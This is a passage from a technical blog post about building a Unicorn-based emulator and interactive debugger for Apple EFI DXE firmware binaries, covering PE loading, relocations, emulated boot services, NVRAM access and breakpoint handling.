e_oemid; // OEM identifier (for e_oeminfo) WORD e_oeminfo; // OEM information; e_oemid specific WORD e_res2[10]; // Reserved words DWORD e_lfanew; // File address of new exe header } IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER; The possible e_magic values are:\n#define IMAGE_DOS_SIGNATURE 0x5A4D // MZ #define IMAGE_OS2_SIGNATURE 0x454E // NE #define IMAGE_OS2_SIGNATURE_LE 0x454C // LE #define IMAGE_VXD_SIGNATURE 0x454C // LE #define IMAGE_NT_SIGNATURE 0x00004550 // PE00 #define EFI_IMAGE_TE_SIGNATURE 0x5A56 // VZ TE binaries with EFI_IMAGE_TE_SIGNATURE magic are just a stripped version of PE. Unnecessary PE headers are removed to save space. The reason is because these binaries are used in SEC and PEI phases, which are resource-restricted so saving space was (still is?) important.\nAssuming we are dealing with a modern PE binary, the e_lfanew value should be 0x40. We use this offset to create a pointer to the PE header, which is a IMAGE_NT_HEADERS or IMAGE_NT_HEADERS64 structure, depending on target type.\ntypedef struct _IMAGE_NT_HEADERS { DWORD Signature; IMAGE_FILE_HEADER FileHeader; IMAGE_OPTIONAL_HEADER OptionalHeader; } IMAGE_NT_HEADERS, *PIMAGE_NT_HEADERS; typedef struct _IMAGE_NT_HEADERS64 { DWORD Signature; IMAGE_FILE_HEADER FileHeader; IMAGE_OPTIONAL_HEADER64 OptionalHeader; } IMAGE_NT_HEADERS64, *PIMAGE_NT_HEADERS64; We don\u0026rsquo;t know yet if the binary is 32 or 64 bit. Before that we need to verify if Signature is valid. This time we are looking for a IMAGE_NT_SIGNATURE value. Assuming it is correct we can find if it\u0026rsquo;s a 64 bit binary using the Machine field from the FileHeader structure. The size of the first two fields of the IMAGE_NT_HEADERS structures are the same so an initial cast to IMAGE_NT_HEADERS isn\u0026rsquo;t a problem.\ntypedef struct _IMAGE_FILE_HEADER { WORD Machine; WORD NumberOfSections; DWORD TimeDateStamp; DWORD PointerToSymbolTable; DWORD NumberOfSymbols; WORD SizeOfOptionalHeader; WORD Characteristics; } IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER; The Machine values we care about are IMAGE_FILE_MACHINE_IA64 for 64 bit and IMAGE_FILE_MACHINE_I386 for 32 bit. You can find other CPU values in PE header files.\nThe last check is against the OptionalHeader structure. The initial fields match between the 32 and 64 bit versions and then diverge.\ntypedef struct _IMAGE_OPTIONAL_HEADER { // // Standard fields. // WORD Magic; BYTE MajorLinkerVersion; BYTE MinorLinkerVersion; DWORD SizeOfCode; DWORD SizeOfInitializedData; DWORD SizeOfUninitializedData; DWORD AddressOfEntryPoint; DWORD BaseOfCode; (...) We want to verify if Magic is one of these values:\n#define IMAGE_NT_OPTIONAL_HDR32_MAGIC 0x10b #define IMAGE_NT_OPTIONAL_HDR64_MAGIC 0x20b Successfully arriving at this point means we have a valid PE target (assuming the code did all necessary bounds checks) and we can take a look at the total available sections, NumberOfSections in IMAGE_FILE_HEADER structure. Sections contain code and different kinds data (strings, relocation and debugging information, etc).\nThis is an example of the sections available in the main EFI binary being emulated (one section is nameless):\n[DEBUG] Target PE file contains 6 sections. [DEBUG] Number of sections is 6. [DEBUG] Name .text @ 0x100002c0 VirtualSize: 0x51a0 RawSize: 0x51a0 [DEBUG] Name .rdata @ 0x10005460 VirtualSize: 0xc54 RawSize: 0xc60 [DEBUG] Name .data @ 0x100060c0 VirtualSize: 0x12a8 RawSize: 0x12c0 [DEBUG] Name @ 0x10007380 VirtualSize: 0x36c RawSize: 0x380 [DEBUG] Name text @ 0x10007700 VirtualSize: 0xa2 RawSize: 0xc0 [DEBUG] Name .reloc @ 0x100077c0 VirtualSize: 0x6e RawSize: 0x80 Each section needs to be mapped into Unicorn emulator memory. We could select only the really necessary sections but it\u0026rsquo;s just easier to just map everything (RAM is plentiful these days). Sections are located after the headers.\nThis makes up the initial validation. Any rejection here means we can\u0026rsquo;t emulate the binary.\nMapping the PEs Mapping the binary sections into Unicorn memory is a simple exercise. We just need to use uc_mem_write Unicorn API.\n/* Write to a range of bytes in memory. @uc: handle returned by uc_open() @address: starting memory address of bytes to set. @bytes: pointer to a variable containing data to be written to memory. @size: size of memory to write to. NOTE: @bytes must be big enough to contain @size bytes. @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum for detailed error). */ UNICORN_EXPORT uc_err uc_mem_write(uc_engine *uc, uint64_t address, const void *bytes, size_t size); The main issue is the address where to write the binary. Most Apple DXE binaries have a 0x10000000 preferred address. I found at least two exceptions but this isn\u0026rsquo;t an important enough problem to justify gathering data about it and worrying. These binaries contain Position Independent Code (PIC) so we can easily relocate them to any address (and it\u0026rsquo;s less work because they are 64 bit).\nFor the main binary we use that preferred address and map each section using its VirtualAddress from IMAGE_SECTION_HEADER structure.\ntypedef struct _IMAGE_SECTION_HEADER { BYTE Name[IMAGE_SIZEOF_SHORT_NAME]; DWORD VirtualSize; DWORD VirtualAddress; DWORD SizeOfRawData; DWORD PointerToRawData; DWORD PointerToRelocations; DWORD PointerToLinenumbers; WORD NumberOfRelocations; WORD NumberOfLinenumbers; DWORD Characteristics; } IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER; Regarding the size to write we should use min(SizeOfRawData, VirtualSize). The values can be different because of file alignment issues such that VirtualSize \u0026lt;= SizeOfRawData. Using SizeOfRawData can lead to out-of-bounds reads.\nOther executables are mapped sequentially after the main one. All the binary\u0026rsquo;s information is stored in a tail queue so we always know where last binary was mapped.\nTrampolines? What for? We start Unicorn code emulation using this API function:\n/* Emulate machine code in a specific duration of time. @uc: handle returned by uc_open() @begin: address where emulation starts @until: address where emulation stops (i.e when this address is hit) @timeout: duration to emulate the code (in microseconds). When this value is 0, we will emulate the code in infinite time, until the code is finished. @count: the number of instructions to be emulated. When this value is 0, we will emulate all the code available, until the code is finished. @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum for detailed error). */ UNICORN_EXPORT uc_err uc_emu_start(uc_engine *uc, uint64_t begin, uint64_t until, uint64_t timeout, size_t count); We need to specify the address where emulation starts and where it ends. Zero can be used for the end address. What happens is that Unicorn will continue to emulate until something breaks (assuming zero for timeout and count arguments).\nIf we are emulating a single image this isn\u0026rsquo;t a big problem - we can either manually set an end address or just let it run until it crashes inside the emulator. But we need to emulate other images before the main image. Their entrypoint is easy to locate from the headers but we don\u0026rsquo;t know the end address of their main function (unless we hardcode it). We could disassemble the entrypoint function and try to find where it ends but this isn\u0026rsquo;t always straightforward and it\u0026rsquo;s too much work.\nThere is an easier way to solve this. We can just use a trampoline shellcode to start each image and we easily have a known emulation end address.\nThis is the shellcode I used for the trampoline:\nuint8_t shellcode[13] = \u0026#34;\\x48\\xB8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\u0026#34; // mov rax, 0x0 \u0026#34;\\xFF\\xD0\u0026#34; // call rax \u0026#34;\\xCC\u0026#34;; // INT3 - don\u0026#39;t exec We call the entrypoint address and we know that emulation should stop at the call return address, so it\u0026rsquo;s very easy to calculate everything. We guard the shellcode with an INT3 in case of something goes wrong (easier to detect and debug).\nThis is an example output from execution of a secondary image responsible for installing a protocol (I\u0026rsquo;ll explain protocols soon). The image was executed without any problems, emulation stopped at the trampoline return address, and then emulation started at the main image entrypoint.\n[+] Configuring Unicorn initial state... [+] Starting secondary images emulation... [DEBUG] Hit InstallProtocolInterface() from 0x50000019 Requested Protocol: DF2D868E-32FC-4CF0-8E6B-FFD95D1343D0 [DEBUG] Interface address 0x100093d0 Installed Protocol: DF2D868E-32FC-4CF0-8E6B-FFD95D1343D0 [+] Starting main image emulation... Trampolines are helpful and super-easy to implement since we just write them sequentially and store information about which image they correspond to.\nRelocations! The last thing we need to care about mapping from the PE files is relocations. Given that we are dealing with 64 bit binaries the amount of relocations will be zero or very small, depending on the target. In practice we only care about relocations for the secondary images, the ones we map at different addresses from their preferred locations. The main image is mapped at the preferred address 0x10000000 (we assume that our main image preferred address is always this one). Any main image exceptions we can deal with by either mapping at their preferred address (don\u0026rsquo;t forget to map emulator memory first) or at 0x10000000 and fix up its relocations.\nRelocations are easier to understand with an example. The following is the entrypoint function for a secondary image that I map in the emulator. At address 0x100002AF there is a data reference to another address 0x100013D0.\nAt address 0x100013D0 we can find a pointer to another address 0x100002FC, which is another function in this image.\nThe pointer will be valid if this image is mapped at its 0x10000000 preferred address. But because it\u0026rsquo;s a secondary image and the emulator mapped it at 0x10008000, the pointer is now invalid because address 0x100002FC belongs to the main image or nowhere (depending on the size of main image). We are 0x8000 bytes off the original address. This means that the original 0x100002fc value needs to be updated by adding 0x8000 bytes to a new value of 0x100082fc.\nThe relocation table tells us where all the values that need to be updated are located. We just need to find the table, iterate, and fix values by whatever offset we moved the image.\nThis log from the emulator shows all this being done.\n[+] Loading and mapping any configured protocols binaries [DEBUG] Mapping other image to 0x10008000 [DEBUG] Size of image: 0x14a0 [DEBUG] Size of headers: 0x2a0 [DEBUG] Base address: 0x10000000 [DEBUG] Entry point address: 0x100002a0 [DEBUG] Relocation table virtual address: 0x1480 size: 12 [DEBUG] Relocation info: 0x1000 0xc [DEBUG] Total relocation entries: 2 [DEBUG] Reloc type 0xa Base 0x3d0 [DEBUG] mapped relocation addr: 0x100093d0 [DEBUG] original relocation addr: 0x100013d0 [DEBUG] relocation original value: 0x100002fc [DEBUG] updated relocation value: 0x100082fc [DEBUG] Reloc type 0xa Base 0x3d8 [DEBUG] mapped relocation addr: 0x100093d8 [DEBUG] original relocation addr: 0x100013d8 [DEBUG] relocation original value: 0x1000063c [DEBUG] updated relocation value: 0x1000863c There are different relocation types. The code only deals with EFI_IMAGE_REL_BASED_DIR64 type, which seems the only one relevant for EFI DXE binaries.\n// Based relocation types. // #define EFI_IMAGE_REL_BASED_ABSOLUTE 0 #define EFI_IMAGE_REL_BASED_HIGH 1 #define EFI_IMAGE_REL_BASED_LOW 2 #define EFI_IMAGE_REL_BASED_HIGHLOW 3 #define EFI_IMAGE_REL_BASED_HIGHADJ 4 #define EFI_IMAGE_REL_BASED_MIPS_JMPADDR 5 #define EFI_IMAGE_REL_BASED_ARM_MOV32A 5 #define EFI_IMAGE_REL_BASED_ARM_MOV32T 7 #define EFI_IMAGE_REL_BASED_IA64_IMM64 9 #define EFI_IMAGE_REL_BASED_MIPS_JMPADDR16 9 #define EFI_IMAGE_REL_BASED_DIR64 10 The relocation table can be found in IMAGE_DIRECTORY_ENTRY_BASERELOC entry of DataDirectory table in OptionalHeader structure.\n#define IMAGE_NUMBEROF_DIRECTORY_ENTRIES 16 typedef struct _IMAGE_OPTIONAL_HEADER64 { WORD Magic; (...) IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES]; } IMAGE_OPTIONAL_HEADER64, *PIMAGE_OPTIONAL_HEADER64; // Directory Entries #define IMAGE_DIRECTORY_ENTRY_EXPORT 0 // Export Directory #define IMAGE_DIRECTORY_ENTRY_IMPORT 1 // Import Directory #define IMAGE_DIRECTORY_ENTRY_RESOURCE 2 // Resource Directory #define IMAGE_DIRECTORY_ENTRY_EXCEPTION 3 // Exception Directory #define IMAGE_DIRECTORY_ENTRY_SECURITY 4 // Security Directory #define IMAGE_DIRECTORY_ENTRY_BASERELOC 5 // Base Relocation Table #define IMAGE_DIRECTORY_ENTRY_DEBUG 6 // Debug Directory // IMAGE_DIRECTORY_ENTRY_COPYRIGHT 7 // (X86 usage) #define IMAGE_DIRECTORY_ENTRY_ARCHITECTURE 7 // Architecture Specific Data #define IMAGE_DIRECTORY_ENTRY_GLOBALPTR 8 // RVA of GP #define IMAGE_DIRECTORY_ENTRY_TLS 9 // TLS Directory #define IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG 10 // Load Configuration Directory #define IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT 11 // Bound Import Directory in headers #define IMAGE_DIRECTORY_ENTRY_IAT 12 // Import Address Table #define IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT 13 // Delay Load Import Descriptors #define IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR 14 // COM Runtime descriptor The referenced Microsoft documentation has all the necessary implementation details that I don\u0026rsquo;t think are important to explain here.\nThe base relocation table is divided into blocks. Each block represents the base relocations for a 4K page. Each block must start on a 32-bit boundary.\nWe finally have all the necessary pieces to map and run an EFI executable in Unicorn emulator.\nIt\u0026rsquo;s the protocols, stupid! The concept of libraries and a libc does not exist in EFI world. Instead there are basic services, which are different according to the boot phase (PPIs for PEI phase, protocols for DXE). We will develop the basic services topic in the EFI tables section because we will need to create and emulate (some of) these services.\nAny additional features in DXE phase are implemented via protocols. Protocols are published by other EFI executables. Then they can be located and used by other binaries. It is the same abstract concept of linked libraries but implemented in a slightly different way. This is the reason why we need to map other images before running the main image. In reality EFI has a dispatcher that guarantees all dependencies and load order, but to avoid reimplementing that feature we just load all the binaries that contain the protocols used by our main target binary ourselves (this requires previous reverse engineering or trial and error to determine which protocols are missing).\nEach protocol is identified by a GUID (in EFI everything is identified by a GUID) and contains function pointers to whatever features are provided by the protocol.\nIn this particular case our target uses protocol DF2D868E-32FC-4CF0-8E6B-FFD95D1343D0, which corresponds to EFI_PRINT_PROTOCOL containing a function to print unicode strings. Translation of some GUIDs to human-readable strings can be found online and within EDK2 sources, while others are private and need to be reversed to understand what they correspond to.\n#define EFI_PRINT_PROTOCOL_GUID \\ { 0xdf2d868e, 0x32fc, 0x4cf0, {0x8e, 0x6b, 0xff, 0xd9, 0x5d, 0x13, 0x43, 0xd0} } typedef struct _EFI_PRINT_PROTOCOL EFI_PRINT_PROTOCOL; typedef UINTN (EFIAPI *UNI_VSPRINT)( OUT CHAR16 *StartOfBuffer, IN UINTN BufferSize, IN CONST CHAR16 *FormatString, IN VA_LIST Marker ); /** EFI_PRINT_PROTOCOL provides one service to produce a Null-terminated Unicode string, based on a Null-terminated Unicode format string and a VA_LIST argument list, and fills into the buffer as output. **/ struct _EFI_PRINT_PROTOCOL { UNI_VSPRINT VSPrint; }; We could try to hook and emulate any calls to this VSPrint function (which I did first) but I found it easier and more portable to just load the protocol binaries, avoiding reimplementation of potentially complicated functions (well most we could try to rip from EDK2 source code anyway). This might require extra work for protocols that interact with hardware and so on, but not impossible - we can hook things and fake whatever we need.\nEFI system tables and services As previously mentioned, there is a basic set of services provided by the EFI runtime. In the DXE phase they are divided between the Boot and Runtime services. Runtime services are the only EFI services available after system boot and they are very restricted, as we can see from its table.\ntypedef struct { EFI_TABLE_HEADER Hdr; EFI_GET_TIME GetTime; EFI_SET_TIME SetTime; EFI_GET_WAKEUP_TIME GetWakeupTime; EFI_SET_WAKEUP_TIME SetWakeupTime; EFI_SET_VIRTUAL_ADDRESS_MAP SetVirtualAddressMap; EFI_CONVERT_POINTER ConvertPointer; EFI_GET_VARIABLE GetVariable; EFI_GET_NEXT_VARIABLE_NAME GetNextVariableName; EFI_SET_VARIABLE SetVariable; EFI_GET_NEXT_HIGH_MONO_COUNT GetNextHighMonotonicCount; EFI_RESET_SYSTEM ResetSystem; EFI_UPDATE_CAPSULE UpdateCapsule; EFI_QUERY_CAPSULE_CAPABILITIES QueryCapsuleCapabilities; EFI_QUERY_VARIABLE_INFO QueryVariableInfo; } EFI_RUNTIME_SERVICES; Boot services are a bit more interesting because they are available in the DXE phase and are mostly related to memory and protocol management, essential to set up a running operating environment and provide more features as we have seen in protocols.\ntypedef struct { EFI_TABLE_HEADER Hdr; EFI_RAISE_TPL RaiseTPL; EFI_RESTORE_TPL RestoreTPL; EFI_ALLOCATE_PAGES AllocatePages; EFI_FREE_PAGES FreePages; EFI_GET_MEMORY_MAP GetMemoryMap; EFI_ALLOCATE_POOL AllocatePool; EFI_FREE_POOL FreePool; EFI_CREATE_EVENT CreateEvent; EFI_SET_TIMER SetTimer; EFI_WAIT_FOR_EVENT WaitForEvent; EFI_SIGNAL_EVENT SignalEvent; EFI_CLOSE_EVENT CloseEvent; EFI_CHECK_EVENT CheckEvent; EFI_INSTALL_PROTOCOL_INTERFACE InstallProtocolInterface; EFI_REINSTALL_PROTOCOL_INTERFACE ReinstallProtocolInterface; EFI_UNINSTALL_PROTOCOL_INTERFACE UninstallProtocolInterface; EFI_HANDLE_PROTOCOL HandleProtocol; void *Reserved; EFI_REGISTER_PROTOCOL_NOTIFY RegisterProtocolNotify; EFI_LOCATE_HANDLE LocateHandle; EFI_LOCATE_DEVICE_PATH LocateDevicePath; EFI_INSTALL_CONFIGURATION_TABLE InstallConfigurationTable; EFI_IMAGE_LOAD LoadImage; EFI_IMAGE_START StartImage; EFI_EXIT Exit; EFI_IMAGE_UNLOAD UnloadImage; EFI_EXIT_BOOT_SERVICES ExitBootServices; EFI_GET_NEXT_MONOTONIC_COUNT GetNextMonotonicCount; EFI_STALL Stall; EFI_SET_WATCHDOG_TIMER SetWatchdogTimer; EFI_CONNECT_CONTROLLER ConnectController; EFI_DISCONNECT_CONTROLLER DisconnectController; EFI_OPEN_PROTOCOL OpenProtocol; EFI_CLOSE_PROTOCOL CloseProtocol; EFI_OPEN_PROTOCOL_INFORMATION OpenProtocolInformation; EFI_PROTOCOLS_PER_HANDLE ProtocolsPerHandle; EFI_LOCATE_HANDLE_BUFFER LocateHandleBuffer; EFI_LOCATE_PROTOCOL LocateProtocol; EFI_INSTALL_MULTIPLE_PROTOCOL_INTERFACES InstallMultipleProtocolInterfaces; EFI_UNINSTALL_MULTIPLE_PROTOCOL_INTERFACES UninstallMultipleProtocolInterfaces; EFI_CALCULATE_CRC32 CalculateCrc32; EFI_COPY_MEM CopyMem; EFI_SET_MEM SetMem; EFI_CREATE_EVENT_EX CreateEventEx; } EFI_BOOT_SERVICES; The DXE executables can find the location of these Runtime and Boot structures via EFI_SYSTEM_TABLE, which is the second argument passed to the entrypoint function of DXE binaries.\nThis is the DXE binary\u0026rsquo;s entrypoint prototype:\ntypedef EFI_STATUS ( *EFI_IMAGE_ENTRY_POINT)( EFI_HANDLE ImageHandle, EFI_SYSTEM_TABLE *SystemTable ); And the EFI_SYSTEM_TABLE structure, where it\u0026rsquo;s easy to obtain the Runtime and Boot services tables pointers.\ntypedef struct { EFI_TABLE_HEADER Hdr; CHAR16 *FirmwareVendor; UINT32 FirmwareRevision; EFI_HANDLE ConsoleInHandle; EFI_SIMPLE_TEXT_INPUT_PROTOCOL *ConIn; EFI_HANDLE ConsoleOutHandle; EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *ConOut; EFI_HANDLE StandardErrorHandle; EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *StdErr; EFI_RUNTIME_SERVICES *RuntimeServices; EFI_BOOT_SERVICES *BootServices; UINTN NumberOfTableEntries; EFI_CONFIGURATION_TABLE *ConfigurationTable; } EFI_SYSTEM_TABLE; It is quite common to see code like this in DXE phase binaries (or some variation at the entrypoint when no function is called):\nWe need to implement Boot and Runtime services inside the emulator. We map a fake EFI_SYSTEM_TABLE into emulator memory, and set the RDX register pointing to our fake table (EFI 64 bit binaries use Microsoft x64 calling convention - RCX, RDX, R8, R9, stack, with a 32 byte shadow space in stack, so that first stack argument is at offset 0x20).\nWe also map into emulator memory fake Boot and Runtime services tables. Each service is a function pointer. This leads us to the next problem we face: we could map a copy of real services code into emulator memory. This could be complex because it expects a full EFI environment and so we might end up in a (hellish) cycle of implementing other dependencies.\nAnother solution for this problem is to emulate the services in our code, outside the emulator. In this case, the services function pointers point to a single RET x86 instruction. This way, calls to the services will return and we don\u0026rsquo;t need to worry about manipulating service callers. We take control of each service by configuring a Unicorn hook per service address. When a service is called, Unicorn will callback the configured hook. In the callback we emulate the original service, set return values if necessary, and resume Unicorn execution at the simple RET instruction.\nWhen the Unicorn hook is hit, the emulator instruction pointer points at the service\u0026rsquo;s first instruction. Using Unicorn API we can read the arguments passed to the service, and manipulate Unicorn memory to implement the original service.\nLet\u0026rsquo;s see a sample implementation of a Boot service.\n/* * EFI_STATUS(EFIAPI * EFI_STALL) (IN UINTN Microseconds) */ static void hook_Stall(uc_engine *uc, uint64_t address, uint32_t size, void *user_data) { uc_err err = UC_ERR_OK; LOG_UC_BACKTRACE(uc, \u0026#34;Stall()\u0026#34;); uint64_t r_rcx = 0; /* Microseconds */ err = uc_reg_read(uc, UC_X86_REG_RCX, \u0026amp;r_rcx); VERIFY_UC_OPERATION_VOID(err, \u0026#34;Failed to read RCX register\u0026#34;); uint32_t Microseconds = (uint32_t) r_rcx; usleep(Microseconds); /* return value */ uint64_t r_rax = EFI_SUCCESS; err = uc_reg_write(uc, UC_X86_REG_RAX, \u0026amp;r_rax); VERIFY_UC_OPERATION_VOID(err, \u0026#34;Failed to write RAX return value\u0026#34;); } The Stall Boot service is basically a usleep and it\u0026rsquo;s very easy to implement. Don\u0026rsquo;t forget that the callback is running in our code context and not emulator context. We can read the Microseconds argument passed to this service, emulate the stall on our side with usleep, set the required return value per service prototype and resume execution.\nA bit more complex example is the SetMem service implementation:\n/* * VOID(EFIAPI * EFI_SET_MEM) (IN VOID *Buffer, IN UINTN Size, IN UINT8 Value) */ static void hook_SetMem(uc_engine *uc, uint64_t address, uint32_t size, void *user_data) { uc_err err = UC_ERR_OK; LOG_UC_BACKTRACE(uc, \u0026#34;SetMem()\u0026#34;); uint64_t r_rcx = 0; /* *Buffer */ uint64_t r_rdx = 0; /* Size */ uint64_t r_r8 = 0; /* Value */ /* variables to hold parameters and make it easier to identify what is what */ uint64_t Buffer = 0; uint32_t Size = 0; uint8_t Value = 0; /* Read Buffer parameter */ err = uc_reg_read(uc, UC_X86_REG_RCX, \u0026amp;r_rcx); VERIFY_UC_OPERATION_VOID(err, \u0026#34;Failed to read RCX register\u0026#34;); Buffer = r_rcx; DEBUG_MSG(\u0026#34;SetMem Buffer address: 0x%llx\u0026#34;, r_rcx); /* Read Size parameter */ err = uc_reg_read(uc, UC_X86_REG_RDX, \u0026amp;r_rdx); VERIFY_UC_OPERATION_VOID(err, \u0026#34;Failed to read RDX register\u0026#34;); Size = (uint32_t)r_rdx; if (Size == 0) { DEBUG_MSG(\u0026#34;Request size to SetMem is zero bytes.\u0026#34;); /* no return value */ return; } DEBUG_MSG(\u0026#34;Requested size to SetMem: 0x%x\u0026#34;, (uint32_t)r_rdx); /* read Value parameter */ err = uc_reg_read(uc, UC_X86_REG_R8, \u0026amp;r_r8); VERIFY_UC_OPERATION_VOID(err, \u0026#34;Failed to read R8 register\u0026#34;); Value = (uint8_t)r_r8; /* finally write whatever value requests into Unicorn memory buffer */ /* XXX: not exactly the most efficient way :-) */ for (uint32_t i = 0; i \u0026lt; Size; i++) { err = uc_mem_write(uc, r_rcx + i, \u0026amp;Value, 1); VERIFY_UC_OPERATION_NORET(err, \u0026#34;Failed to write memory\u0026#34;); } /* no return value */ } Here I just read the arguments, and then set the requested memory address inside the emulator to whatever value was requested (in a very inefficient way).\nThis is a crude way to emulate the Boot and Runtime services but it works and it\u0026rsquo;s fast to implement. Less development work, happy hacker!\nFor the heap allocator I didn\u0026rsquo;t even bother to try to write a basic allocator. I simply allocate memory forward in the heap area, and don\u0026rsquo;t even bother with free\u0026rsquo;ing the allocated blocks when required. Given the short-term duration of emulation, why bother? Just increase emulation heap area if necessary and save unnecessary development time. Choose the problems you have to solve wisely!\nIn the sample code I implemented the minimum required services by my target binary. Other targets might require additional services so they would need to be implemented in the same way.\nNVRAM The target binary reads data from the NVRAM so it is necessary to emulate it. The NVRAM variables are accessed via a Runtime service. In this case I have mapped a copy of a NVRAM dump from a real Mac\u0026rsquo;s EFI, and my GetVariable Runtime service hook will basically look up the variable in the file and return the data if it exists.\nThe only problem to solve is the type of NVRAM stores and variable, because there are different formats.\n#define NVRAM_VSS_STORE_SIGNATURE 0x53535624 // $VSS #define NVRAM_APPLE_SVS_STORE_SIGNATURE 0x53565324 // $SVS #define NVRAM_APPLE_FSYS_STORE_SIGNATURE 0x73797346 // Fsys #define NVRAM_APPLE_GAID_STORE_SIGNATURE 0x64696147 // Gaid The first DWORD points to the signature, from which we can identify the type of store and then parse it. The sample code implements parsing of NVRAM_VSS_STORE_SIGNATUREand NVRAM_APPLE_SVS_STORE_SIGNATURE stores, which can be parsed by the same code. UEFITool (use the new_engine branch) is a good codebase if you want to learn how to parse all kinds of NVRAM variables (and everything else about (U)EFI parsing).\nHow to implement breakpoints The goal is to build an interactive debugger so breakpoints are a must-have feature. In a real x86 CPU we have four hardware breakpoints and software breakpoints (usually) implemented via an INT3 instruction.\nHardware breakpoints are great because we configure the breakpoint address and the CPU will stop execution before the instruction is executed. Hardware breakpoints don\u0026rsquo;t modify the code so they will not trigger any potential code integrity checks, and we don\u0026rsquo;t need to manage and fix up the code to properly support software breakpoints. Malicious and DRM related software usually tries to block hardware breakpoints by checking if the debug registers are being used or implementing some feature on top of those registers - if they are clean or used then errors will occur.\nSoftware breakpoints are implemented by replacing the instruction at the target address with an INT3 instruction. When the instruction is executed, it will generate an exception which can be captured by a debugger. The main problem is that we need to patch code so code integrity checks can be triggered. When the breakpoint is hit we need to restore the original code, rollback the instruction pointer to the original address, find our next instruction, set a breakpoint on it, resume execution, and when the next instruction breakpoint is hit we restore the first breakpoint, assuming it was a (permanent) breakpoint that we still want enabled. Lots of work :-).\nThe initial idea was to implement software breakpoints. The typical debugger approach requires some work to manage the breakpoints and it conflicts with the QEMU JIT engine (if we modify the code after emulation is started, the modification is present in memory but the virtual CPU will not execute our modified code but instead the cached version that was already JIT-compiled).\nIt is also not possible in Unicorn to add new hooks while emulation is running. In this case the idea would be to add a hook as breakpoint. It works if we add the hook before emulation starts, but then we don\u0026rsquo;t have an interactive debugger. A workaround could be to stop emulation, set a new hook, and resume emulation. This is too complex when a simpler solution exists.\nMy solution was to add a hook that traces all the code and implement the breakpoint decision inside. The command to add breakpoints just adds the target address to a list, and this list is searched everytime an instruction is executed. Not exactly the fastest solution (tail queue traversal) but it works and emulation speed isn\u0026rsquo;t a huge problem in this case. At least it\u0026rsquo;s a very useful trade-off, slower emulation speed vs interactive debugging.\nThe code for my main Unicorn hook is the following:\n/* * main hook we used to trace over code * * we fake breakpoints here by comparing the current address against installed breakpoints * and if it matches we launch the cli prompt * */ void hook_code(uc_engine *uc, uint64_t address, uint32_t size, void *user_data) { /* XXX: a temporary hack to inject directly the Apple public key into the right location * avoiding to emulate the whole protocol that locates the keys in the EFI filesystem */ if (address == 0x10002272) { DEBUG_MSG(\u0026#34;Hit Apple public key injection breakpoint!\u0026#34;); uint64_t r_rdx = 0; uc_err err = UC_ERR_OK; err = uc_reg_read(uc, UC_X86_REG_RDX, \u0026amp;r_rdx); VERIFY_UC_OPERATION_VOID(err, \u0026#34;Failed to read RDX\u0026#34;); DEBUG_MSG(\u0026#34;RDX is 0x%llx\u0026#34;, r_rdx); err = uc_mem_write(uc, r_rdx, apple_public_key, sizeof(apple_public_key)); VERIFY_UC_OPERATION_VOID(err, \u0026#34;Failed to write Apple public key to Unicorn memory\u0026#34;); return; } int type = 0; if (find_breakpoint(address, \u0026amp;type) == 0) { /* display current CPU context like gdbinit */ context_cmd(NULL, uc); /* and let the user take control */ prompt_loop(); /* if it\u0026#39;s a temporary breakpoint remove it from the list */ if (type == kTempBreakpoint) { del_breakpoint(address); } } } Everytime a breakpoint is matched, a gdbinit-like CPU context is displayed, and the interactive prompt is enabled, allowing us to poke around and even modify memory and registers. The only problem is that we can\u0026rsquo;t modify instructions (but we can modify the instruction pointer), and also EFLAGS/RFLAGS register (QEMU internal flags aren\u0026rsquo;t updated, I guess due to JIT). Not the perfect scenario, but still a huge step forward given the ability to breakpoint and debug code that we had no capability to previously.\nApple\u0026rsquo;s public key problem The previous hook code snippet contains an hardcoded breakpoint address related to the Apple public keys for signature verification. What happens is that Apple RSA public keys are located in a EFI file that contains 4 raw sections. The protocol that searches and loads these keys uses the AC5E4829-A8FD-440B-AF33-9FFE013B12D8 GUID, installed by EFI module with GUID 8B24E4D4-C84C-4FFC-81E5-D3EACC3F08DD. The GUID for the file with the keys is B2CB10B1-714A-4E0C-9ED3-35688B2C99F0. You should be able to find all these by loading an Apple firmware file into UEFITool. To avoid implementing the protocol and any dependencies it might have, I set a breakpoint at the protocol call address, copy the public key directly to the allocated buffer, set a success return value, and advance the instruction pointer to skip the call.\nWhile it would be nice to have everything emulated and running it is not necessary and can be a waste of time when simple tricks solve the problems faster.\nSerial number The target machine serial number is required for the SCBO operation. On real machines the serial number can be found in a fixed memory area at address 0xffffff08. Because of Unicorn memory alignment requirements, the allocation address starts at 0xffff0000. The memory layout of the serial number seems to always end with \u0026ldquo;\\x20\\xFF\u0026rdquo; bytes, probably some end marker bytes. Other EFI binaries might require access to other machine information that is located in this area. If that\u0026rsquo;s the case we just need to find it out and emulate.\nNikolaj from UEFITool told me this isn\u0026rsquo;t true anymore in newer firmware versions (thanks for the headsup!). This data is now stored in the PDR region. I have to give it a look in newer versions but it shouldn\u0026rsquo;t be a major obstacle given that we can always breakpoint on code that is trying to read the serial number and fix it like the public key case.\nThe cli The command line interface is based on linenoise-ng. It tries to emulate some basic gdb commands (because I hate LLDB cli). It\u0026rsquo;s quite a hack and fragile since it\u0026rsquo;s the type of code I suck at and I just wanted something that worked. Definitely needs some love and improvements.\nThe end And that\u0026rsquo;s it. The main problems and workarounds were described and the result is a working EFI DXE emulator and interactive debugger. As you can see it\u0026rsquo;s not very complicated to create. It just requires some understanding of the emulation target specifics and some creativity to solve some of the problems. The idea can be extended to other Unicorn-supported CPU targets. For example, baseband firmware, Apple\u0026rsquo;s SEP OS, kernel extensions, and so on. Fuzzing is also something that could be implemented to find nice bugs. The emulation approach was used to fuzz TrustZone binaries in the following paper released this week, PARTEMU: Enabling Dynamic Analysis of Real-World TrustZone Software Using Emulation. The paper\u0026rsquo;s authors used the same kind of approach to fuzz TrustZone binaries. QEMU is used instead of Unicorn but you can see they used the same type of ideas 